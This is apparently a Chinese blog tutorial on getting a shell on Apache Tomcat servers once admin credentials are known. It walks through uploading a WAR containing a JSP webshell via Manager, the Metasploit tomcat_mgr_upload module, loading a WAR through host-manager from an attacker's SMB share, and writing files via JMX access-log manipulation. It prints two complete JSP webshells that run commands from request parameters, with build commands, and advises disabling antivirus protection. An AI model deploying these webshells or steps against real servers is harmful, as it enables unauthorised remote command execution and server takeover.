目录

  • 前提条件
  • 用户权限介绍
  • GET SHELL
    • war包部署上传
    • msf
    • host-manager
      • 模拟环境介绍
      • 环境搭建
      • 漏洞利用
    • JMX getshell
      • 简介
      • 环境搭建
      • JMX访问日志包含恶意代码getshell
      • 小结
  • 小技巧
    • script 权限
    • status权限
  • 参考链接

前提条件

  • 以下利用都需要获取到账号密码

  Tomcat后台爆破

  JMX爆破

用户权限介绍

#用户配置文件
/conf/tomcat-users.xml

文件内容:

  <role rolename="admin-gui"/><role rolename="admin-script"/><role rolename="manager-gui"/><role rolename="manager-status"/><role rolename="manager-script"/><role rolename="manager-jmx"/><user name="admin" password="admin" roles="admin-gui,admin-script,manager-gui,manager-status,manager-script,manager-jmx"/>

权限说明:

名称 权限说明
admin-gui 可访问 “host管理” 页面,但"APP管理" 和 “服务器状态” 页面无查看权限
admin-script 只有host-manager脚本方式管理接口访问权限
manager-gui 无 “host管理” 页面访问权限,有"APP管理" 和 “服务器状态” 页面查看权限
manager-status 只有"服务器状态" 页面查看权限
manager-script 有脚本方式管理接口访问权限和"服务器状态" 页面查看权限
manager-jmx JMX 代理接口访问权限和"服务器状态" 页面查看权限

访问路径:

  • admin-gui:URL路径/host-manager/html/*
  • admin-script : URL路径/host-manager/text/
  • manager-gui:URL路径/manager/html/*
  • manager-status:URL路径/manager/status/*
  • manager-script:URL路径/manager/text/*
  • manager-jmx:URL路径/manager/jmxproxy/*

GET SHELL

war包部署上传

  • tomcat环境:Apache Tomcat/7.0.62
  • 所需用户权限:manager-gui

点击Manager App进行登录

登录后台后看WAR file to deploy

jsp木马:

# cmd2.jsp
<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>

制作war包:

war包大家就把他当作一个压缩包,只要通过manager app上传war包,tomcat就会帮你部署(解压)到web目录下。

jar cvf cmd2.war cmd2.jsp

制作包时不要命名war包为shell,getshell等…(反正我命名为shell.war,jsp文件也不要命名为shell.jsp,反正我命名后部署,发现没有shell.jsp这个文件,当时这一步卡了我老半天…)

上传:

点击Deploy部署后,在页面可以看到我们上传的文件。

访问jsp木马:

#http://ip/cmd2/cmd2.jsp?pwd={密码}&i={命令}
http://10.1.1.44:8080/cmd2/cmd2.jsp?pwd=023&i=ls

msf

#进入msf后,选择tomcat getshell 模块
use exploit/multi/http/tomcat_mgr_upload
#查看配置
show options

我们需要设置4个选项:

#设置用户名
set httpusername tomcat
#设置用户密码
set httppassword tomcat
#设置目标ip
set rhost 10.1.1.44
#设置端口
set rport 8080

设置好后开始运行

#执行攻击
run

#进入shell终端
shell
#查看ip
ip a

host-manager

模拟环境介绍

在实战种会遇到一种情况,manager访问不了,对方控制了用户权限。


而host-manager是可以访问的,并且爆破成功。

环境搭建

docker 拉取的 tomcat没复现成功,大概是没有开启smb服务的原因(为什么需要smb服务才能复现成功呢?因为host-manager管理页面是用来添加虚拟主机的,添加时可以添加smb请求。而我们也需要smb服务,才能实现getshell,官方文档 )。

我并没有在linux测试,如果您是linux搭建tomcat的服务,并且开启smb服务,可跳过环境搭建教程,直接尝试复现漏洞。

  • 靶机:windows 10 + xampp
  • IP:10.1.1.25
  • 攻击机:kali
  • IP:10.1.1.17

xampp和jbk8:

链接:https://pan.baidu.com/s/1Y3bobggG2gk5g04Ll_7RLw
提取码:vou5

下载并安装好xampp和jbk8,都是无脑安装,一直下一步就好了。start打开tomcat,然后访问8080端口,看见tomcat页面表示安装成功。


关闭安全防护(不关闭jsp木马会被拦截)

配置tomcat用户权限,只允许访问host-manager页面。

  <role rolename="admin-gui"/><user name="admin" password="admin" roles="admin-gui"/>

访问host-maneger

http://ip:8080/host-manager/html


漏洞利用

我们需要下载impacket,利用smbserver.py脚本,来运行smb服务。

python更新并安装所需的python模块:

python -m pip install --upgrade pip
pip install impacket six --default-timeout=100 install -U Pillow

运行脚本:

#创建smb共享目录
mkdir /tmp/test/#执行服务脚本
#smbserver.py -debug -smb2support -comment "test" sharename sharepath
smbserver.py -debug -smb2support -comment "test" data /tmp/test/

在tomcat上添加虚拟主机:

添加成功:

kali回显,这样就可以证明接受smb协议:

将war包上传至kali上sharepath目录中

jsp木马:

#windowscmd.jsp<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {out.println("Command: " + request.getParameter("cmd") + "\n<BR>");Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr); disr = dis.readLine(); }}
%>
</pre>
</BODY></HTML>
jar cvf windowscmd.war windowscmd.jsp

复制到smb共享目录下:

cp windowscmd.war /tmp/test/

修改hosts文件:
(添加名称时,必须添加域名,反正我添加ip去复现没成功。所以我们需要添加域名执行到tomcat服务器上。如果是渗透外网,tomcat服务器也必须有域名。攻击机上的SMB服务也需要外网能访问。)

#文件位置
C:\Windows\System32\drivers\etc\host
#添加内容
10.1.1.25 tomcat.host.getshell

重新添加虚拟主机:

添加成功:

访问jsp木马:

JMX getshell

简介

JMX对于我来理解分两种监视模式,一种是web页面端,一种是可以用java内置的软件进行远程监视管理(当然它也是需要走http协议的)。

先说说页面的JMX路径及用法吧

权限:manager-jmx
路径:/manager/jmxproxy/*

直接访问jmx路径,它给我返回一大堆信息,可以看见有返回服务器的绝对路径(然后大多信息我都看不懂了):


执行查询命令:
/manager/jmxproxy/?qry=%3Aj2eeType=Servlet%2c

过多的操作不详谈,大家感兴趣可以查看JMX_Proxy_Servlet(官方文档)。

这次讲的getshell方法是对远程监视服务JMX的利用,利用java自带的一款远程监视工具即可上传webshell。

环境搭建

JMX_Remote(官方文档)

利用docker创建的tomcat配置JMX时,弄了老半天,我监听不成功,当时就选择放弃了,然后就自己搭建环境了(当然你们可以试一试,说不定是我运气不行唉)。

ubantu搭建tomcat教程

开启jmx远程监控

JMX访问日志包含恶意代码getshell

首先我们需要使用jconsole.exe管理工具,这个是java自带的一款工具。

工具位置:($JAVA_HOME)\bin\jconsole.exe

打开后输入ip还有端口号,如果配置有账号密码就填写账号密码即可。
账号必须要有写入权限,无账号登录默认是最高权限


成功连接后,点击MBeans卡项-> Catalina-> Valve-> localhost-> AccessLogValue->操作

测试一下能不能上传文件:

  1. 输入上传目录:…/webapps/docs/test.jsp
  2. 点击rotate
  3. 如果出现true,说明能成功创建文件


访问测试文件,http://ip:8080//docs/test.jsp

可以看到新创建的文件,会记录访问日志信息(不是实时记录的,只会记录几分钟前的访问)。


后面我看了一大堆Tomcat JMX Getshell的文章,都是直接在url GET传输时上包含jsp代码,就能getshell了。然后我就照着文章复现,发现事情没有那么简单

tomcat后台多种姿势getshell相关推荐

  1. 聊一聊为什么在浏览器输入http://localhos8080会出现tomcat后台服务器的界面

    聊一聊为什么在浏览器输入http://localhos8080会出现tomcat后台服务器的界面 在tomcat中分级目录一定首先要条理清晰tomcat磁盘的目录首先要知道都是存放什么东西的 bin目 ...

  2. Dedecms 5.7 SP2后台广告管理处getshell

    Dedecms 5.7 SP2后台广告管理处getshell dedecms版本可以到织梦官网下载:http://www.dedecms.com/products/dedecms/downloads/ ...

  3. 墨者学院tomcat后台弱口令漏洞利用

    墨者学院tomcat后台弱口令漏洞利用 点击之后要我们登录,这里abc123:999user是base64解码之后的结果,可见要爆破base64编码,这里不写爆破过程了,下一期出一下爆破过程,这里直接 ...

  4. 记一次暴力破解tomcat后台密码(附带python脚本)

    一.原理介绍 tomcat是一个免费的,开放源代码的Web应用服务器,是Apache软件基金会项目中的一个核心项目,由Apache ,Sun和一些公司以及个人共同开发而成,深受Java爱好者的喜爱,是 ...

  5. 友点 CMS V9.1 后台登录绕过 GetShell

    声明:本公众号大部分文章来黑白之间安全团队成员的实战经验以及学习积累,文章内公布的漏洞或者脚本都来自互联网,未经授权,严禁转载. 请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作 ...

  6. linux tomcat 改端口号,Linux下启动tomcat、配置tomcat后台账号、修改tomcat端口

    启动tomcat以前,请确认已经配置好java环境变量.还有记得关闭防火墙.不然不能正常访问tomcat.java 1.启动tomcattomcat 一.先找到tomcat安装包测试 二.解压缩安装包 ...

  7. tomcat 后台 getshell

    有些Tomcat安装之后没有修改默认密码(用户名admin/admin),这样就可以直接登录进去. 有两个目录可以访问: /admin /manager/html /admin 目录下的利用: Ser ...

  8. Tomcat WAR包部署getshell

    变量名 含义 host 数据库地址 username 数据库访问用户名 password 数据库访问密码 dbname 数据库名 connection 连接 query 数据库执行语句 result ...

  9. 变身吧,无人机:多种姿势可以选择,你喜欢X还是O?

    车栗子 发自 凹非寺  量子位 报道 | 公众号 QbitAI 一只无人机,为什么要学会变形呢? 来到一个窄小的洞口,把自己变瘦就可以飞进去了. 里面的天地宽广了,不需要畏手畏脚了,再把四肢舒展开来. ...

最新文章

  1. 你也许只使用到了 VS Code 20% 的功能
  2. 成为顶尖机器学习算法专家需要知道哪些算法?
  3. Android性能优化典范笔记(1)-GPU绘制性能优化
  4. pdf转换成html python,在Python中将pdf转换为html
  5. C语言经典例71-编写函数输出结构体数据
  6. linux查看分析性能以及io的一些命令
  7. mysql 客户端_技术分享 | MySQL 客户端连不上(1045 错误)原因全解析
  8. GitLab CI/CD 因git凭据踩坑
  9. js json转xml(可自定义属性,区分大小写)
  10. linux脚本多线程,Shell多线程操作及线程数控制实例
  11. LuoguP5504 [JSOI2011]柠檬
  12. python语言使用什么语句实现上下文管理协议_Python 上下文管理器
  13. Bringing up interface eth0: Error: Connection activation failed: Device not managed by NetworkMan
  14. 台式电脑打不开计算机c盘,电脑c盘打不开进不了系统怎么办
  15. JDK 19 / Java 19 新特性
  16. C语言编程练习,猜数字游戏实现
  17. 液晶屏控制器方案LT7680A
  18. 网站死链查询检测方法(seo的优化工作全攻略)
  19. 综合日语第一册第五课
  20. 蓝精灵协会 (The Smurfs‘ Society) 宣布与著名艺术家展开一系列的合作,打造传奇 PFP 系列

热门文章

  1. Vue-Elementui 实现局部网页刷新
  2. elementui table expand 修改数据
  3. 爱思华宝邮件服务器协同工作服务 功能介绍及其实现方法
  4. Ubuntu 设置中文语言
  5. 如何配置MAC的终端自动补全命令行
  6. 象棋人工智能算法的C++实现(三)——注重功能分区!!!
  7. Pytorch的入门操作(二)
  8. 全网最详细的Hadoop大数据集群搭建并进行项目分析(基于完全分布式)---第二部分
  9. 项目管理中的供应合同管理技巧
  10. DNS关键词:DNS工作原理、A记录、CNAME记录、MX记录、PTR记录、SOA记录、NS记录